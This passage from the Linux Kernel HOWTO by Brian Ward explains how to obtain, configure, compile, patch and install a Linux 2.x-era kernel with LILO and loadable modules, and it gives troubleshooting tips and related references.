3.3 What kind of hardware do the newer kernels support?

See the Hardware-HOWTO. Alternatively, you can look at the `config.in' file in the linux source, or just find out when you try `make config'. This shows you all hardware supported by the standard kernel distribution, but not everything that linux supports; many common device drivers (such as the PCMCIA drivers and some tape drivers) are loadable modules maintained and distributed separately.

3.4 What version of gcc and libc do I need?

Linus recommends a version of gcc in the README file included with the linux source. If you don't have this version, the documentation in the recommended version of gcc should tell you if you need to upgrade your libc. This is not a difficult procedure, but it is important to follow the instructions.

3.5 What's a loadable module?

These are pieces of kernel code which are not linked (included) directly in the kernel. One compiles them separately, and can insert and remove them into the running kernel at almost any time. Due to its flexibility, this is now the preferred way to code certain kernel features. Many popular device drivers, such as the PCMCIA drivers and the QIC-80/40 tape driver, are loadable modules.

3.6 How much disk space do I need?

It depends on your particular system configuration. First, the compressed linux source is nearly 14 megabytes large at version 2.2.9. Many sites keep this even after unpacking. Uncompressed and built with a moderate configuration, it takes up another 67 MB.

3.7 How long does it take?

With newer machines, the compilation takes dramatically less time than older ones; an AMD K6-2/300 with a fast disk can do a 2.2.x kernel in about four minutes. As for old Pentiums, 486s, and 386s, if you plan to compile one, be prepared to wait, possibly hours, days..

If this troubles you, and you happen to have a faster machine around to compile on, you can build on the fast machines (assuming you give it the right parameters, that your ulilities are up-to-date, and so on), and then transfer the kernel image to the slower machine.


The Linux Kernel HOWTO: How to actually configure the kernel

 Next Previous Contents

4. How to actually configure the kernel

4.1 Getting the source

You can obtain the source via anonymous ftp from ftp.kernel.org in /pub/linux/kernel/vx.y, where x.y is the version (eg 2.2), and as mentioned before, the ones that end with an odd number are development releases and may be unstable. It is typically labelled linux-x.y.z.tar.gz, where x.y.z is the version number. The sites also typically carry ones with a suffix of .bz2, which have been compressed with bzip2 (these files will be smaller and take less time to transfer).

It's best to use ftp.xx.kernel.org where xx is your country code; examples being ftp.at.kernel.org for Austria, and ftp.us.kernel.org for the United States.

4.2 Unpacking the source

Log in as or su to `root', and cd to /usr/src. If you installed kernel source when you first installed linux (as most do), there will already be a directory called `linux' there, which contains the entire old source tree. If you have the disk space and you want to play it safe, preserve that directory. A good idea is to figure out what version your system runs now and rename the directory accordingly. The command `uname -r' prints the current kernel version. Therefore, if `uname -r' said `1.0.9', you would rename (with `mv') `linux' to `linux-1.0.9'. If you feel mildly reckless, just wipe out the entire directory. In any case, make certain there is no `linux' directory in /usr/src before unpacking the full source code.

Now, in /usr/src, unpack the source with `tar zxpvf linux-x.y.z.tar.gz' (if you've just got a .tar file with no .gz at the end, `tar xpvf linux-x.y.z.tar' works.). The contents of the source will fly by. When finished, there will be a new `linux' directory in /usr/src. cd to linux and look over the README file. There will be a section with the label `INSTALLING the kernel'. Carry out the instructions when appropriate -- symbolic links that should be in place, removal of stale .o files, etc.

If you have a .bz2 file and the bzip2 program (read about it at http://www.muraroa.demon.co.uk/), do this:

     bz2cat linux-x.y.z.tar.bz2 | tar xvf -

4.3 Configuring the kernel

Note: Some of this is reiteration/clarification of a similar section in Linus' README file.

The command `make config' while in /usr/src/linux starts a configure script which asks you many questions. It requires bash, so verify that bash is /bin/bash, /bin/sh, or $BASH.

However, there are some much more pleasant alternatives to `make config' and you may very well find them easier and more comfortable to use. `make menuconfig' is probably the most widely-used. Whatever you choose, it's best to get familiar with the interface because you may find yourself back at it sooner than you think. For those ``running X,'' you can try `make xconfig' if you have Tk installed (`click-o-rama' - Nat). `make menuconfig' is for those who have (n)curses and would prefer a text-based menu. These interfaces have a rather clear advantage: If you goof up and make a wrong choice during configuration, it is simple to go back and fix it.

The configuration options will appear in hierarchies with `make menuconfig' and `make xconfig'.

You are ready to answer the questions, usually with `y' (yes) or `n' (no). Device drivers typically have an `m' option. This means ``module,'' meaning that the system will compile it, but not directly into the kernel, but as a loadable module. A more comical way to describe it is as ``maybe.'' Some of the more obvious and non-critical options are not described here; see the section ``Other configuration options'' for short descriptions of a few others. With `make menuconfig', the space bar toggles the selection.

In 2.0.x and later, there is a `?' option, which provides a brief description of the configuration parameter. That information is likely to be the most up-to-date. Here are a listing of some of the important features, which hierarchy they are in, and brief description.

Kernel math emulation (Processor type and features)

If you don't have a math coprocessor (you have a bare 386 or 486SX), you must say `y' to this. If you do have a coprocessor and you still say `y', don't worry too much -- the coprocessor is still used and the emulation ignored. For any halfway modern machine, the answer will be no, but don't worry if you say yes accidentally; if not needed, it is not used.

Enhanced (MFM/RLL) disk and IDE disk/cdrom support (Block Devices)

You probably need to support this; it means that the kernel will support standard PC hard disks, which most people have. This driver does not include SCSI drives; they come later in the configuration.

You will then be asked about the ``old disk-only'' and ``new IDE'' drivers. You want to choose one of them; the main difference is that the old driver only supports two disks on a single interface, and the new one supports a secondary interface and IDE/ATAPI cdrom drives. The new driver is 4k larger than the old one and is also supposedly ``improved,'' meaning that aside from containing a different number of bugs, it might improve your disk performance, especially if you have newer (EIDE-type) hardware.

Networking support (General Setup)

In principle, you would only say `y' if your machine is on a network such as the internet, or you want to use SLIP, PPP, term, etc to dial up for internet access. However, as many packages (such as the X window system) require networking support even if your machine does not live on a real network, you should say `y'. Later on, you will be asked if you want to support TCP/IP networking; again, say `y' here if you are not absolutely sure.

System V IPC (General Setup)

One of the best definitions of IPC (Interprocess Communication) is in the Perl book's glossary. Not surprisingly, some Perl programmers employ it to let processes talk to each other, as well as many other packages (DOOM, most notably), so it is not a good idea to say n unless you know exactly what you are doing.

Processor family (Processor type and features)

(in older kernels: Use -m486 flag for 486-specific optimizations)

Traditionally, this compiled in certain optimizations for a particular processor; the kernels ran fine on other chips, but the kernel was perhaps a bit larger. In newer kernels, however, this is no longer true, so you should enter the processor for which you are compiling the kernel. A ``386'' kernel will work on all machines.

SCSI support

If you have SCSI devices, say `y'. You will be prompted for further information, such as support for CD-ROM, disks, and what kind of SCSI adapter you have. See the SCSI-HOWTO for greater detail.

Network device support

If you have a network card, or you would like to use SLIP, PPP, or a parallel port adapter for connecting to the Internet, say `y'. The config script will prompt for which kind of card you have, and which protocol to use.

Filesystems

The configure script then asks if you wish to support the following filesystems:

Standard (minix) - Newer distributions don't create minix filesystems, and many people don't use it, but it may still be a good idea to configure this one. Some ``rescue disk'' programs use it, and still more floppies may have a minix filesystem, since the minix filesystem is less painful to use on a floppy.

Second extended - This is the standard Linux filesystem. You almost definitely have one of these, and need to say `y'.

msdos - If you want to use your MS-DOS hard disk partitions, or mount MS-DOS formatted floppy disks, say `y'.

There are various other foreign operating system filesystem types available.

/proc - (idea from Bell Labs, I guess). One doesn't make a proc filesystem on a disk; this is a filesystem interface to the kernel and processes. Many process listers (such as `ps') use it. Try `cat /proc/meminfo' or `cat /proc/devices' sometime. Some shells (rc, in particular) use /proc/self/fd (known as /dev/fd on other systems) for I/O. You should almost certainly say `y' to this; many important linux tools depend on it.

NFS - If your machine lives on a network and you want to use filesystems which reside on other systems with NFS, say `y'.

ISO9660 - Found on most CD-ROMs. If you have a CD-ROM drive and you wish to use it under Linux, say `y'.

But I don't know which filesystems I need!

Ok, type `mount'. The output will look something like this:

    blah# mount
    /dev/hda1 on / type ext2 (defaults)
    /dev/hda3 on /usr type ext2 (defaults)
    none on /proc type proc (defaults)
    /dev/fd0 on /mnt type msdos (defaults)

Look at each line; the word next to `type' is the filesystem type. In this example, my / and /usr filesystems are second extended, I'm using /proc, and there's a floppy disk mounted using the msdos (bleah) filesystem.

You can try `cat /proc/filesystems' if you have /proc currently enabled; it will list your current kernel's filesystems.

The configuration of rarely-used, non-critical filesystems can cause kernel bloat; see the section on modules for a way to avoid this and the ``Pitfalls'' section on why a bloated kernel is undesirable.

Character devices

Here, you enable the drivers for your printer (parallel printer, that is), busmouse, PS/2 mouse (many notebooks use the PS/2 mouse protocol for their built-in trackballs), some tape drives, and other such ``character'' devices. Say `y' when appropriate.

Note: gpm is a program which allows the use of the mouse outside of the X window system for cut and paste between virtual consoles. It's fairly nice if you have a serial mouse, because it coexists well with X, but you need to do special tricks for others.

Sound

If you feel a great desire to hear biff bark, say `y', and you can tell the configuration program all about your sound board. (A note on sound card configuration: when it asks you if you want to install the full version of the driver, you can say `n' and save some kernel memory by picking only the features which you deem necessary.)

If you are serious about sound card support, have a look at both the free drivers at http://www.linux.org.uk/OSS/ and the commercial Open Sound System at http://www.opensound.com/.

Other configuration options

Not all of the configuration options are listed here because they change too often or fairly self-evident (for instance, 3Com 3C509 support to compile the device drive for this particular ethernet card). There exists a fairly comprehensive list of all the options (plus a way to place them into the Configure script) in an effort started and maintained by Axel Boldt (boldt@math.ucsb.edu) and it's the online help. It's also available as one big file at the Documentation/Configure.help in your Linux kernel source tree as of version 2.0.

Kernel hacking

>From Linus' README:

the ``kernel hacking'' configuration details usually result in a bigger or slower kernel (or both), and can even make the kernel less stable by configuring some routines to actively try to break bad code to find kernel problems (kmalloc()). Thus you should probably answer `n' to the questions for a ``production'' kernel.

4.4 Now what? (The Makefile)

After you finish configuration, a message tells you that your kernel has been configured, and to ``check the top-level Makefile for additional configuration,'' etc.

So, look at the Makefile. You probably will not need to change it, but it never hurts to look. You can also change its options with the `rdev' command once the new kernel is in place. If you're feel lost when you look at the file, then don't worry about it.


The Linux Kernel HOWTO: Compiling the kernel

 Next Previous Contents

5. Compiling the kernel

5.1 Cleaning and depending

When the configure script ends, it also tells you to `make dep' and (possibly) `clean'. So, do the `make dep'. This insures that all of the dependencies, such the include files, are in place. It does not take long, unless your computer is fairly slow to begin with. For older versions of the kernel, when finished, you should do a `make clean'. This removes all of the object files and some other things that an old version leaves behind. In any case, do not forget this step before attempting to recompile a kernel.

5.2 Compile time

After depending and cleaning, you may now `make bzImage' or `make bzdisk' (this is the part that takes a long time.). `make bzImage' will compile the kernel, and leave a file in arch/i386/boot called `bzImage' (among other things). This is the new compressed kernel. `make bzdisk' does the same thing, but also places the new bzImage on a floppy disk which you hopefully put in drive ``A:''. `bzdisk' is fairly handy for testing new kernels; if it bombs (or just doesn't work right), just remove the floppy and boot with your old kernel. It can also be a handy way to boot if you accidentally remove your kernel (or something equally as dreadful). You can also use it to install new systems when you just dump the contents of one disk onto the other (``all this and more! NOW how much would you pay?'').

All even halfway reasonably recent kernels are compressed, hence the `bz' in front of the names. A compressed kernel automatically decompresses itself when executed.

In older kernels, you don't have the option to build a bzImage; it was simply a zImage. That option is at the moment still available, however, given the code size of newer kernels, it is now more or less mandatory to build a bzImage because the older methods can't handle a kernel that's just too large.

5.3 Other ``make''ables

`make mrproper' will do a more extensive `clean'ing. It is sometimes necessary; you may wish to do it at every patch. `make mrproper' will also delete your configuration file, so you might want to make a backup of it (.config) if you see it as valuable.

`make oldconfig' will attempt to configure the kernel from an old configuration file; it will run through the `make config' process for you. If you haven't ever compiled a kernel before or don't have an old config file, then you probably shouldn't do this, as you will most likely want to change the default configuration.

See the section on modules for a description of `make modules'.

5.4 Installing the kernel

After you have a new kernel that seems to work the way you want it to, it's time to install it. Most people use LILO (Linux Loader) for this. `make bzlilo' will install the kernel, run LILO on it, and get you all ready to boot, BUT ONLY if lilo is configured in the following way on your system: kernel is /vmlinuz, lilo is in /sbin, and your lilo config (/etc/lilo.conf) agrees with this.

Otherwise, you need to use LILO directly. It's a fairly easy package to install and work with, but it has a tendency to confuse people with the configuration file. Look at the config file (either /etc/lilo/config for older versions or /etc/lilo.conf for new versions), and see what the current setup is. The config file looks like this:

    image = /vmlinuz
        label = Linux
        root = /dev/hda1
        ...

The `image =' is set to the currently installed kernel. Most people use /vmlinuz. `label' is used by lilo to determine which kernel or operating system to boot, and `root' is the / of that particular operating system. Make a backup copy of your old kernel and copy the bzImage which you just made into place (you would say `cp bzImage /vmlinuz' if you use `/vmlinuz'). Then, rerun lilo -- on newer systems, you can just run `lilo', but on older stuff, you might have to do an /etc/lilo/install or even an /etc/lilo/lilo -C /etc/lilo/config.

If you would like to know more about LILO's configuration, or you don't have LILO, get the newest version from your favorite ftp site and follow the instructions.

To boot one of your old kernels off the hard disk (another way to save yourself in case you screw up the new kernel), copy the lines below (and including) `image = xxx' in the LILO config file to the bottom of the file, and change the `image = xxx' to `image = yyy', where `yyy' is the full pathname of the file you saved your backup kernel to. Then, change the `label = zzz' to `label = linux-backup' and rerun lilo. You may need to put a line in the config file saying `delay=x', where x is an amount in tenths of a second, which tells LILO to wait that much time before booting, so that you can interrupt it (with the shift key, for example), and type in the label of the backup boot image (in case unpleasant things happen).


The Linux Kernel HOWTO: Patching the kernel

 Next Previous Contents

6. Patching the kernel

6.1 Applying a patch

Incremental upgrades of the kernel are distributed as patches. For example, if you have version 1.1.45, and you notice that there's a `patch46.gz' out there for it, it means you can upgrade to version 1.1.46 through application of the patch. You might want to make a backup of the source tree first (`make clean' and then `cd /usr/src; tar zcvf old-tree.tar.gz linux' will make a compressed tar archive for you.).

So, continuing with the example above, let's suppose that you have `patch46.gz' in /usr/src. cd to /usr/src and do a `zcat patch46.gz | patch -p0' (or `patch -p0 < patch46' if the patch isn't compressed). You'll see things whizz by (or flutter by, if your system is that slow) telling you that it is trying to apply hunks, and whether it succeeds or not. Usually, this action goes by too quickly for you to read, and you're not too sure whether it worked or not, so you might want to use the -s flag to patch, which tells patch to only report error messages (you don't get as much of the ``hey, my computer is actually doing something for a change!'' feeling, but you may prefer this..). To look for parts which might not have gone smoothly, cd to /usr/src/linux and look for files with a .rej extension. Some versions of patch (older versions which may have been compiled with on an inferior filesystem) leave the rejects with a # extension. You can use `find' to look for you;

    find .  -name '*.rej' -print
prints all files who live in the current directory or any subdirectories with a .rej extension to the standard output.

If everything went right, do a `make clean', `config', and `dep' as described in sections 3 and 4.

There are quite a few options to the patch command. As mentioned above, patch -s will suppress all messages except the errors. If you keep your kernel source in some other place than /usr/src/linux, patch -p1 (in that directory) will patch things cleanly. Other patch options are well-documented in the manual page.

6.2 If something goes wrong

(Note: this section refers mostly to quite old kernels)

The most frequent problem that used to arise was when a patch modified a file called `config.in' and it didn't look quite right, because you changed the options to suit your machine. This has been taken care of, but one still might encounter it with an older release. To fix it, look at the config.in.rej file, and see what remains of the original patch. The changes will typically be marked with `+' and `-' at the beginning of the line. Look at the lines surrounding it, and remember if they were set to `y' or `n'. Now, edit config.in, and change `y' to `n' and `n' to `y' when appropriate. Do a

    patch -p0 < config.in.rej
and if it reports that it succeeded (no fails), then you can continue on with a configuration and compilation. The config.in.rej file will remain, but you can get delete it.

If you encounter further problems, you might have installed a patch out of order. If patch says `previously applied patch detected: Assume -R?', you are probably trying to apply a patch which is below your current version number; if you answer `y', it will attempt to degrade your source, and will most likely fail; thus, you will need to get a whole new source tree (which might not have been such a bad idea in the first place).

To back out (unapply) a patch, use `patch -R' on the original patch.

The best thing to do when patches really turn out wrong is to start over again with a clean, out-of-the-box source tree (for example, from one of the linux-x.y.z.tar.gz files), and start again.

6.3 Getting rid of the .orig files

After just a few patches, the .orig files will start to pile up. For example, one 1.1.51 tree I had was once last cleaned out at 1.1.48. Removing the .orig files saved over a half a meg.

    find .  -name '*.orig' -exec rm -f {} ';'
will take care of it for you. Versions of patch which use # for rejects use a tilde instead of .orig.

There are better ways to get rid of the .orig files, which depend on GNU xargs:

    find .  -name '*.orig' | xargs rm
or the ``quite secure but a little more verbose'' method:
    find . -name '*.orig' -print0 | xargs --null rm --

6.4 Other patches

There are other patches (I'll call them ``nonstandard'') than the ones Linus distributes. If you apply these, Linus' patches may not work correctly and you'll have to either back them out, fix the source or the patch, install a new source tree, or a combination of the above. This can become very frustrating, so if you do not want to modify the source (with the possibility of a very bad outcome), back out the nonstandard patches before applying Linus', or just install a new tree. Then, you can see if the nonstandard patches still work. If they don't, you are either stuck with an old kernel, playing with the patch or source to get it to work, or waiting (possibly begging) for a new version of the patch to come out.

How common are the patches not in the standard distribution? You will probably hear of them. I used to use the noblink patch for my virtual consoles because I hate blinking cursors (This patch is (or at least was) frequently updated for new kernel releases.). With most newer device drivers being developed as loadable modules, though, the frequecy of ``nonstandard'' patches is decreasing significantly.


The Linux Kernel HOWTO: Additional packages

 Next Previous Contents

7. Additional packages

Your linux kernel has many features which are not explained in the kernel source itself; these features are typically utilized through external packages. Some of the most common are listed here.

7.1 kbd

The linux console probably has more features than it deserves. Among these are the ability to switch fonts, remap your keyboard, switch video modes (in newer kernels), etc. The kbd package has programs which allow the user to do all of this, plus many fonts and keyboard maps for almost any keyboard, and is available from the same sites that carry the kernel source.

7.2 util-linux

Rik Faith (faith@cs.unc.edu) put together a large collection of linux utilities which are, by odd coincidence, called util-linux. These are now maintained by Andries Brouwer (util-linux@math.uio.no). Available via anonymous ftp from sunsite.unc.edu in /pub/Linux/system/misc, it contains programs such as setterm, rdev, and ctrlaltdel, which are relevant to the kernel. As Rik says, do not install without thinking; you do not need to install everything in the package, and it could very well cause serious problems if you do.

7.3 hdparm

As with many packages, this was once a kernel patch and support programs. The patches made it into the official kernel, and the programs to optimize and play with your hard disk are distributed separately.

7.4 gpm

gpm stands for general purpose mouse. This program allows you to cut and paste text between virtual consoles and do other things with a large variety of mouse types.


The Linux Kernel HOWTO: Some pitfalls

 Next Previous Contents

8. Some pitfalls

8.1 make clean

If your new kernel does really weird things after a routine kernel upgrade, chances are you forgot to make clean before compiling the new kernel. Symptoms can be anything from your system outright crashing, strange I/O problems, to crummy performance. Make sure you do a make dep, too.

8.2 Huge or slow kernels

If your kernel is sucking up a lot of memory, is too large, and/or just takes forever to compile even when you've got your new Quadbazillium-III/4400 working on it, you've probably got lots of unneeded stuff (device drivers, filesystems, etc) configured. If you don't use it, don't configure it, because it does take up memory. The most obvious symptom of kernel bloat is extreme swapping in and out of memory to disk; if your disk is making a lot of noise and it's not one of those old Fujitsu Eagles that sound like like a jet landing when turned off, look over your kernel configuration.

You can find out how much memory the kernel is using by taking the total amount of memory in your machine and subtracting from it the amount of ``total mem'' in /proc/meminfo or the output of the command `free'.

8.3 The parallel port doesn't work/my printer doesn't work

Configuration options for PCs are: First, under the category `General Setup', select `Parallel port support' and `PC-style hardware'. Then under `Character devices', select `Parallel printer support'.

Then there are the names. Linux 2.2 names the printer devices differently than previous releases. The upshot of this is that if you had an lp1 under your old kernel, it's probably an lp0 under your new one. Use `dmesg' or look through the logs in /var/log to find out.

8.4 Kernel doesn't compile

If it does not compile, then it is likely that a patch failed, or your source is somehow corrupt. Your version of gcc also might not be correct, or could also be corrupt (for example, the include files might be in error). Make sure that the symbolic links which Linus describes in the README are set up correctly. In general, if a standard kernel does not compile, something is seriously wrong with the system, and reinstallation of certain tools is probably necessary.

In some cases, gcc can crash due to hardware problems. The error message will be something like ``xxx exited with signal 15'' and it will generally look very mysterious. I probably would not mention this, except that it happened to me once - I had some bad cache memory, and the compiler would occasionally barf at random. Try reinstalling gcc first if you experience problems. You should only get suspicious if your kernel compiles fine with external cache turned off, a reduced amount of RAM, etc.

It tends to disturb people when it's suggested that their hardware has problems. Well, I'm not making this up. There is an FAQ for it -- it's at http://www.bitwizard.nl/sig11/.

8.5 New version of the kernel doesn't seem to boot

You did not run LILO, or it is not configured correctly. One thing that ``got'' me once was a problem in the config file; it said `boot = /dev/hda1' instead of `boot = /dev/hda' (This can be really annoying at first, but once you have a working config file, you shouldn't need to change it.).

8.6 You forgot to run LILO, or system doesn't boot at all

Ooops! The best thing you can do here is to boot off of a floppy disk or CDROM and prepare another bootable floppy (such as `make zdisk' would do). You need to know where your root (/) filesystem is and what type it is (e.g. second extended, minix). In the example below, you also need to know what filesystem your /usr/src/linux source tree is on, its type, and where it is normally mounted.

In the following example, / is /dev/hda1, and the filesystem which holds /usr/src/linux is /dev/hda3, normally mounted at /usr. Both are second extended filesystems. The working kernel image in /usr/src/linux/arch/i386/boot is called bzImage.

The idea is that if there is a functioning bzImage, it is possible to use that for the new floppy. Another alternative, which may or may not work better (it depends on the particular method in which you messed up your system) is discussed after the example.

First, boot from a boot/root disk combo or rescue disk, and mount the filesystem which contains the working kernel image:

    mkdir /mnt
    mount -t ext2 /dev/hda3 /mnt

If mkdir tells you that the directory already exists, just ignore it. Now, cd to the place where the working kernel image was. Note that

/mnt + /usr/src/linux/arch/i386/boot - /usr = /mnt/src/linux/arch/i386/boot
Place a formatted disk in drive ``A:'' (not your boot or root disk!), dump the image to the disk, and configure it for your root filesystem:

    cd /mnt/src/linux/arch/i386/boot
    dd if=bzImage of=/dev/fd0
    rdev /dev/fd0 /dev/hda1

cd to / and unmount the normal /usr filesystem:

    cd /
    umount /mnt

You should now be able to reboot your system as normal from this floppy. Don't forget to run lilo (or whatever it was that you did wrong) after the reboot!

As mentioned above, there is another common alternative. If you happened to have a working kernel image in / (/vmlinuz for example), you can use that for a boot disk. Supposing all of the above conditions, and that my kernel image is /vmlinuz, just make these alterations to the example above: change /dev/hda3 to /dev/hda1 (the / filesystem), /mnt/src/linux to /mnt, and if=bzImage to if=vmlinuz. The note explaining how to derive /mnt/src/linux may be ignored.

Using LILO with big drives (more than 1024 cylinders) can cause problems. See the LILO mini-HOWTO or documentation for help on that.

8.7 It says `warning: bdflush not running'

This can be a severe problem. Starting with a kernel release after 1.0 (around 20 Apr 1994), a program called `update' which periodically flushes out the filesystem buffers, was upgraded/replaced. Get the sources to `bdflush' (you should find it where you got your kernel source), and install it (you probably want to run your system under the old kernel while doing this). It installs itself as `update' and after a reboot, the new kernel should no longer complain.

8.8 I can't get my IDE/ATAPI CD-ROM drive to work

Strangely enough, lots of people cannot get their ATAPI drives working, probably because there are a number of things that can go wrong.

If your CD-ROM drive is the only device on a particular IDE interface, it must be jumpered as ``master'' or ``single.'' Supposedly, this is the most common error.

Creative Labs (for one) has put IDE interfaces on their sound cards now. However, this leads to the interesting problem that while some people only have one interface to being with, many have two IDE interfaces built-in to their motherboards (at IRQ15, usually), so a common practice is to make the soundblaster interface a third IDE port (IRQ11, or so I'm told).

This causes problems with linux in that versions 1.2.x don't support a third IDE interface (there is support in starting somewhere in the 1.3.x series but that's development, remember, and it doesn't auto-probe). To get around this, you have a few choices.

If you have a second IDE port already, chances are that you are not using it or it doesn't already have two devices on it. Take the ATAPI drive off the sound card and put it on the second interface. You can then disable the sound card's interface, which saves an IRQ anyway.

If you don't have a second interface, jumper the sound card's interface (not the sound card's sound part) as IRQ15, the second interface. It should work.

8.9 It says weird things about obsolete routing requests

Get new versions of the route program and any other programs which do route manipulation. /usr/include/linux/route.h (which is actually a file in /usr/src/linux) has changed.

8.10 Firewalling not working in 1.2.0

Upgrade to at least version 1.2.1.

8.11 ``Not a compressed kernel Image file''

Don't use the vmlinux file created in /usr/src/linux as your boot image; [..]/arch/i386/boot/bzImage is the right one.

8.12 Problems with console terminal after upgrade to 1.3.x

Change the word dumb to linux in the console termcap entry in /etc/termcap. You may also have to make a terminfo entry.

8.13 Can't seem to compile things after kernel upgrade

The linux kernel source includes a number of include files (the things that end with .h) which are referenced by the standard ones in /usr/include. They are typically referenced like this (where xyzzy.h would be something in /usr/include/linux):

    #include <linux/xyzzy.h>
Normally, there is a link called linux in /usr/include to the include/linux directory of your kernel source (/usr/src/linux/include/linux in the typical system). If this link is not there, or points to the wrong place, most things will not compile at all. If you decided that the kernel source was taking too much room on the disk and deleted it, this will obviously be a problem. Another way it might go wrong is with file permissions; if your root has a umask which doesn't allow other users to see its files by default, and you extracted the kernel source without the p (preserve filemodes) option, those users also won't be able to use the C compiler. Although you could use the chmod command to fix this, it is probably easier to re-extract the include files. You can do this the same way you did the whole source at the beginning, only with an additional argument:

    blah# tar zxvpf linux.x.y.z.tar.gz linux/include
Note: ``make config'' will recreate the /usr/src/linux link if it isn't there.

8.14 Increasing limits

The following few example commands may be helpful to those wondering how to increase certain soft limits imposed by the kernel:

echo 4096 > /proc/sys/kernel/file-max
echo 12288 > /proc/sys/kernel/inode-max
echo 300 400 500 > /proc/sys/vm/freepages


The Linux Kernel HOWTO: Note for upgrade to version 2.0.x, 2.2.x

 Next Previous Contents

9. Note for upgrade to version 2.0.x, 2.2.x

Kernel versions 2.0.x and 2.2.x introduced quite a bit of changes for kernel installation. The file Documentation/Changes in the 2.0.x source tree contains information that you should know when upgrading to either of these versions. You will most likely need to upgrade several key packages, such as gcc, libc, and SysVInit, and perhaps alter some system files, so expect this. Don't panic, though.


The Linux Kernel HOWTO: Modules

 Next Previous Contents

10. Modules

Loadable kernel modules can save memory and ease configuration. The scope of modules has grown to include filesystems, ethernet card drivers, tape drivers, printer drivers, and more.

10.1 Installing the module utilities

The module utilities are available from wherever you got your kernel source as modutils-x.y.z.tar.gz; choose the highest patchlevel x.y.z that is equal to or below that of your current kernel. Unpack it with `tar zxvf modutils-x.y.z.tar.gz', cd to the directory it creates (modutils-x.y.z), look over the README, and carry out its installation instructions (which is usually something simple, such as make install). You should now have the programs insmod, rmmod, ksyms, lsmod, genksyms, modprobe, and depmod in /sbin. If you wish, test out the utilities with the ``hw'' example driver in insmod; look over the INSTALL file in that subdirectory for details.

insmod inserts a module into the running kernel. Modules usually have a .o extension; the example driver mentioned above is called drv_hello.o, so to insert this, one would say `insmod drv_hello.o'. To see the modules that the kernel is currently using, use lsmod. The output looks like this:

    blah# lsmod
    Module:        #pages:  Used by:
    drv_hello          1
`drv_hello' is the name of the module, it uses one page (4k) of memory, and no other kernel modules depend on it at the moment. To remove this module, use `rmmod drv_hello'. Note that rmmod wants a module name, not a filename; you get this from lsmod's listing. The other module utilities' purposes are documented in their manual pages.

10.2 Modules distributed with the kernel

As of version 2.0.30, most of everything is available as a loadable modules. To use them, first make sure that you don't configure them into the regular kernel; that is, don't say y to it during `make config'. Compile a new kernel and reboot with it. Then, cd to /usr/src/linux again, and do a `make modules'. This compiles all of the modules which you did not specify in the kernel configuration, and places links to them in /usr/src/linux/modules. You can use them straight from that directory or execute `make modules_install', which installs them in /lib/modules/x.y.z, where x.y.z is the kernel release.

This can be especially handy with filesystems. You may not use the minix or msdos filesystems frequently. For example, if I encountered an msdos (shudder) floppy, I would insmod /usr/src/linux/modules/msdos.o, and then rmmod msdos when finished. This procedure saves about 50k of RAM in the kernel during normal operation. A small note is in order for the minix filesystem: you should always configure it directly into the kernel for use in ``rescue'' disks.


The Linux Kernel HOWTO: Tips and tricks

 Next Previous Contents

11. Tips and tricks

11.1 Redirecting output of the make or patch commands

If you would like logs of what those `make' or `patch' commands did, you can redirect output to a file. First, find out what shell you're running: `grep root /etc/passwd' and look for something like `/bin/csh'.

If you use sh or bash,

    (command) 2>&1 | tee (output file)
will place a copy of (command)'s output in the file `(output file)'.

For csh or tcsh, use

    (command) |& tee (output file)

For rc (Note: you probably do not use rc) it's

    (command) >[2=1] | tee (output file)

11.2 Conditional kernel install

Other than using floppy disks, there are several methods of testing out a new kernel without touching the old one. Unlike many other Unix flavors, LILO has the ability to boot a kernel from anywhere on the disk (if you have a large (500 MB or above) disk, please read over the LILO documentation on how this may cause problems). So, if you add something similar to

    image = /usr/src/linux/arch/i386/boot/bzImage
        label = new_kernel
to the end of your LILO configuration file, you can choose to run a newly compiled kernel without touching your old /vmlinuz (after running lilo, of course). The easiest way to tell LILO to boot a new kernel is to press the shift key at bootup time (when it says LILO on the screen, and nothing else), which gives you a prompt. At this point, you can enter `new_kernel' to boot the new kernel.

If you wish to keep several different kernel source trees on your system at the same time (this can take up a lot of disk space; be careful), the most common way is to name them /usr/src/linux-x.y.z, where x.y.z is the kernel version. You can then ``select'' a source tree with a symbolic link; for example, `ln -sf linux-1.2.2 /usr/src/linux' would make the 1.2.2 tree current. Before creating a symbolic link like this, make certain that the last argument to ln is not a real directory (old symbolic links are fine); the result will not be what you expect.

11.3 Kernel updates

Russell Nelson (nelson@crynwr.com) summarizes the changes in new kernel releases. These are short, and you might like to look at them before an upgrade. They are available with anonymous ftp from ftp.emlist.com in pub/kchanges or through the URL

    http://www.crynwr.com/kchanges


The Linux Kernel HOWTO: Other relevant HOWTOs that might be useful

 Next Previous Contents

12. Other relevant HOWTOs that might be useful

  • Sound-HOWTO: sound cards and utilities
  • SCSI-HOWTO: all about SCSI controllers and devices
  • NET-2-HOWTO: networking
  • PPP-HOWTO: PPP networking in particular
  • PCMCIA-HOWTO: about the drivers for your notebook
  • ELF-HOWTO: ELF: what it is, converting..
  • Hardware-HOWTO: overview of supported hardware
  • Module mini-HOWTO: more on kernel modules
  • Kerneld mini-HOWTO: about kerneld
  • BogoMips mini-HOWTO: in case you were wondering


The Linux Kernel HOWTO: Misc

 Next Previous Contents

13. Misc

13.1 Author

The author and maintainer of the Linux Kernel-HOWTO is Brian Ward (bri@cs.uchicago.edu). Please send me any comments, additions, corrections (Corrections are, in particular, the most important to me.).

You can take a look at my `home page' at one of these URLs:

    http://www.math.psu.edu/bri/
    http://blah.math.tu-graz.ac.at/~bri/

Even though I try to be attentive as possible with mail, please remember that I get a lot of it every day, so it may take a little time to get back to you. Especially when emailing me with a question, please try extra hard to be clear and detailed in your message. If you're writing about non-working hardware (or something like that), I need to know what your hardware configureation is. If you report an error, don't just say ``I tried this but it gave an error;'' I need to know what the error was. I would also like to know what versions of the kernel, gcc, and libc you're using. If you just tell me you're using this-or-that distribution, it won't tell me much at all. I don't care if you ask simple questions; remember, if you don't ask, you may never get an answer! I'd like to thank everyone who has given me feedback.

If your question does not relate to the kernel, or is in some language that I don't understand, I may not answer.

If you mailed me and did not get an answer within a resonable amount of time (three weeks or more), then chances are that I accidentally deleted your message or something (sorry). Please try again.

I get a lot of mail about thing which are actually hardware problems or issues. That's OK, but please try to keep in mind that I'm not familiar with all of the hardware in the world. I use AMD processors, Adaptec and Sybios SCSI controllers, and IBM SCSI disks.

Version -0.1 was written on October 3, 1994. This document is available in SGML, PostScript, TeX, roff, and plain-text formats.

13.2 To do

The ``Tips and tricks'' section is a little small. I hope to expand on it with suggestions from others.

So is ``Additional packages.''

More debugging/crash recovery info needed.

13.3 Contributions

A small part of Linus' README (kernel hacking options) is inclusive. (Thanks, Linus!)

